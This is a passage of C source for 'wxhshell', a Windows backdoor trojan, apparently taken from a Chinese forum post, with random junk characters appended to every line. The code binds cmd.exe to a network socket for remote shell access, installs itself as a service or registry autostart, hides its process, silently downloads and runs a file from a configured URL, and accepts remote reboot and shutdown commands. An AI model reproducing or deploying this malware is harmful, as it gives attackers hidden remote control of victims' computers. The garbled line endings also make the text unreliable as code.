      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <x pph t<  
    break; _ gj&$zP  
  } ;*TIM%6#  
  // 安装 S[3iA~)Z-  
  case 'i': { XN=67f$Hw  
    if(Install()) ,_.I\EY[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Db[ 4  
    else 3g'S\ G@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %8~Q!=*Iq  
    break; yF}OfK?0f  
    } IY'=DePd  
  // 卸载 `>Tu|3%\  
  case 'r': { hg.#DxRi{  
    if(Uninstall()) ^n Jyo:DO;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {PP9$>4`l  
    else Yf,K#' h:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >^Q&nkB"B  
    break; p@!nYPr.  
    } Z%zj";C G  
  // 显示 wxhshell 所在路径 AN:sQX`  
  case 'p': { !%+2Yifna  
    char svExeFile[MAX_PATH]; jd]s<C3o  
    strcpy(svExeFile,"\n\r"); "xI"  
      strcat(svExeFile,ExeFile); aimarU  
        send(wsh,svExeFile,strlen(svExeFile),0); qU2~fNY  
    break; k %e^kej  
    } {R<Ea @LV+  
  // 重启 >zsid:  
  case 'b': { f ),TO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ei}/iBG@  
    if(Boot(REBOOT)) |:[tNs*,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +CH},@j  
    else { K;?,FlH  
    closesocket(wsh); <~ad:[  
    ExitThread(0); `pf4X/Py  
    } 6oaazB^L  
    break; h!~3Dw>,N  
    } o+`6LKg;  
  // 关机 l& 4,v  
  case 'd': { <U5wB]]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uzmk6G v  
    if(Boot(SHUTDOWN)) ]wT 7*( Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:4crI  
    else { WG*t ::NN  
    closesocket(wsh); >^q7c8]~g  
    ExitThread(0); XZ&KR .C,  
    } +d+@u)6  
    break; gTgMqvt  
    } F>tQn4  
  // 获取shell h5%<+D<  
  case 's': { +;$oJJ  
    CmdShell(wsh); O ,rwP  
    closesocket(wsh); {2/LRPT  
    ExitThread(0); <DKS+R  
    break; m }a|FS  
  } Y$N)^=7  
  // 退出 ^4r73ak/):  
  case 'x': { #_lt~^ 6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C{sLz9  
    CloseIt(wsh);  S( S#  
    break; /MY9 >  
    } z,qRcO&  
  // 离开 ~<<nz9}o_  
  case 'q': { /,!qFt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pi=-#g(2  
    closesocket(wsh); Vd".u'r  
    WSACleanup(); b KTcZG  
    exit(1); tQZs.1=z  
    break; &PkLp4mQ  
        } p raaY}}  
  } }I 3gU  
  } G+B~Ix-  
M02uO`Y9  
  // 提示信息 4S~o-`&W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h\plQ[T  
} 8N:owK  
  } &_JD)mM5  
4}_O`Uxh  
  return; Gl1jxxd  
} ,Jcm+ Wb  
^w]/  
// shell模块句柄 lb'GXd %  
int CmdShell(SOCKET sock) vN 2u34  
{ d(g^M1 m  
STARTUPINFO si; F+E|r6'i  
ZeroMemory(&si,sizeof(si)); *f,DhT/P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J]m{ b09F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z0|&W&&D  
PROCESS_INFORMATION ProcessInfo;  O+%WR  
char cmdline[]="cmd"; W@y J AQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c/B'jPt  
  return 0; 66^ycZCH  
} &1+X\c+t b  
'9c2Q/  
// 自身启动模式 jiF?fX@  
int StartFromService(void) U4 13?Pe  
{ 'J,T{s1J  
typedef struct J_>w3uY  
{ SIbDj[s  
  DWORD ExitStatus; nW;g28  
  DWORD PebBaseAddress; Zy|Mz&  
  DWORD AffinityMask; sp@E8G%xO  
  DWORD BasePriority; ,K:ll4{b  
  ULONG UniqueProcessId; Vi4~`;|&b+  
  ULONG InheritedFromUniqueProcessId; SP|<Tny  
}   PROCESS_BASIC_INFORMATION; hFiIW77 s2  
piU /&  
PROCNTQSIP NtQueryInformationProcess; c/_ +o;Bc  
M$0u1~K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -s6![eV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aR\\<due  
L`th7d"  
  HANDLE             hProcess; J9K3s_SN  
  PROCESS_BASIC_INFORMATION pbi; ^(* n]  
oI^4pwnh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VCtH%v#S;.  
  if(NULL == hInst ) return 0; PjN =k;  
+7t6k7]c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "5eNLqt^q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q}S_%I}u:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }(egMx;"3J  
{O|'U'  
  if (!NtQueryInformationProcess) return 0; {EdH$l>94  
0rGSH*(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' B  
  if(!hProcess) return 0; PMfkA!.Y  
W>q HFoKa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?<6CFH]  
l4TpH|k  
  CloseHandle(hProcess); 'ejvH;V3i  
"R8KQj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hcc"b0>}{  
if(hProcess==NULL) return 0; %Th>C2\  
@iEA:?9uX  
HMODULE hMod; 4A9{=~nwT  
char procName[255]; ?|:BuHkT  
unsigned long cbNeeded; O@?k T;B  
e@{i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0oEOre3^%  
z&V+#Ws/  
  CloseHandle(hProcess); #GJ dZ  
E*?<KZe"  
if(strstr(procName,"services")) return 1; // 以服务启动 \6;=$f/?t  
4mn&4e  
  return 0; // 注册表启动 y>*xVK{D  
} S$2b>#@UJ  
erVO|<%=R  
// 主模块 TNQP" 9[?  
int StartWxhshell(LPSTR lpCmdLine) s}pIk.4ot!  
{ D1nq2GwS  
  SOCKET wsl; w,R[C\#J  
BOOL val=TRUE; P;pl,~  
  int port=0; 2< hAa9y  
  struct sockaddr_in door; 3BpZX`l*p  
=TqQbadp  
  if(wscfg.ws_autoins) Install(); N41R  
<L&m4O#|  
port=atoi(lpCmdLine); y<b{Ji e  
sl2@umR7%(  
if(port<=0) port=wscfg.ws_port; p">EHWc}D  
w1UA?+43  
  WSADATA data; >AJSqgHQ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S~]mWxgZ  
WW~+?g5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G|\^{ 5   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f<A5?eKw  
  door.sin_family = AF_INET; .Vq)zi1<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]tY ^0a  
  door.sin_port = htons(port); Dde]I_f}  
M4xi1M#%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0-{t FN  
closesocket(wsl); #M A4  
return 1; #[#KL/i)$  
} m~uOXb  
y*MF&mQ[  
  if(listen(wsl,2) == INVALID_SOCKET) { f@co<iA  
closesocket(wsl); %p X6QRt?  
return 1; gNGr!3*)w  
} g R nOd  
  Wxhshell(wsl); t#!yrQ..'G  
  WSACleanup();  ["}rk  
T)\"Xj  
return 0; k? Xc  
![f ![l  
} /t-fjB{=G  
vd6l7"0/  
// 以NT服务方式启动 vf4{$Oag  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q]o C47(  
{ :NJ(r(QG>  
DWORD   status = 0; a6kV!,.U  
  DWORD   specificError = 0xfffffff; <'G~8tA%v  
Xv@SxS-5l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L4L2O7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ){r2T1+-%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qF iLh9=D  
  serviceStatus.dwWin32ExitCode     = 0; \ u_ui  
  serviceStatus.dwServiceSpecificExitCode = 0; z#F.xVg'  
  serviceStatus.dwCheckPoint       = 0; ,ZS6jZ  
  serviceStatus.dwWaitHint       = 0; !a$ D4(`v  
mXUYQ 82  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Z-IF#%  
  if (hServiceStatusHandle==0) return; ](F#`zUQ  
9_sA&2P{uV  
status = GetLastError(); rxme(9M  
  if (status!=NO_ERROR) MQ)L:R` L  
{ sdCvG R e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P=1I<Pew  
    serviceStatus.dwCheckPoint       = 0; J9T3nTfL  
    serviceStatus.dwWaitHint       = 0; %6--}bY^  
    serviceStatus.dwWin32ExitCode     = status; p\{-t84n  
    serviceStatus.dwServiceSpecificExitCode = specificError; bqQq=SO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [yj).*0  
    return; u{z``]  
  } `]P pau  
0P>OJYFr'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +y 87~]]  
  serviceStatus.dwCheckPoint       = 0; WL+]4Wiz  
  serviceStatus.dwWaitHint       = 0; L#)(H^[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8QK5z;E2~  
} >MJg ,  
LW:o8ES33  
// 处理NT服务事件,比如:启动、停止 [31p&FxM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4d:{HLX,  
{ s_.]4bl.8  
switch(fdwControl) a?YCn!  
{ V<HU6w  
case SERVICE_CONTROL_STOP: 5PcJZi^.l  
  serviceStatus.dwWin32ExitCode = 0; tRpEF2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %zU`XVNN+  
  serviceStatus.dwCheckPoint   = 0; =uDgzdDyE  
  serviceStatus.dwWaitHint     = 0; <}6{{&mT4  
  { Jgu94.;5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -CH`>  
  } n41@iK2l  
  return; wW?,;B'74  
case SERVICE_CONTROL_PAUSE: XBQ\_2>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 20rkKFk*  
  break; {G*A.$-d  
case SERVICE_CONTROL_CONTINUE: ceGa([#!\_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z>)][pL  
  break; G;3~2^lB\  
case SERVICE_CONTROL_INTERROGATE: zY+Fl~$S  
  break; >+5?F*`\D*  
}; ;V<iL?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DP/J (>eG  
} $hxN hI  
>!6i3E^  
// 标准应用程序主函数 )EyI0R]5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +jC*'7p@  
{ OdI\B   
4(l?uU$  
// 获取操作系统版本  htY=w}>  
OsIsNt=GetOsVer(); C6_@\&OA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _if|TFw;h  
{2`=qt2  
  // 从命令行安装 }6 5s'JB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 63?)K s  
:Sg_t Of  
  // 下载执行文件 p (FlR?= S  
if(wscfg.ws_downexe) { k#bu#YZk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JN6-Z2  
  WinExec(wscfg.ws_filenam,SW_HIDE); bN^O }[  
} ENh!N4vbO  
@xsCXCRWVV  
if(!OsIsNt) { Z['\61  
// 如果时win9x,隐藏进程并且设置为注册表启动 M\b")Tu{0  
HideProc(); PN+G:Qv  
StartWxhshell(lpCmdLine); hl&-\dc+  
} g/=K.  
else t0:AScZY   
  if(StartFromService()) 7 1W5.!  
  // 以服务方式启动 N?dvuB  
  StartServiceCtrlDispatcher(DispatchTable); {5*|C-WWtG  
else XS~- vF  
  // 普通方式启动 C}IbxKl  
  StartWxhshell(lpCmdLine); n3MWs);5  
ZWV|# c<G  
return 0; mYB`)M*Y  
}
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只看该作者 1 发表于: 2006-10-10
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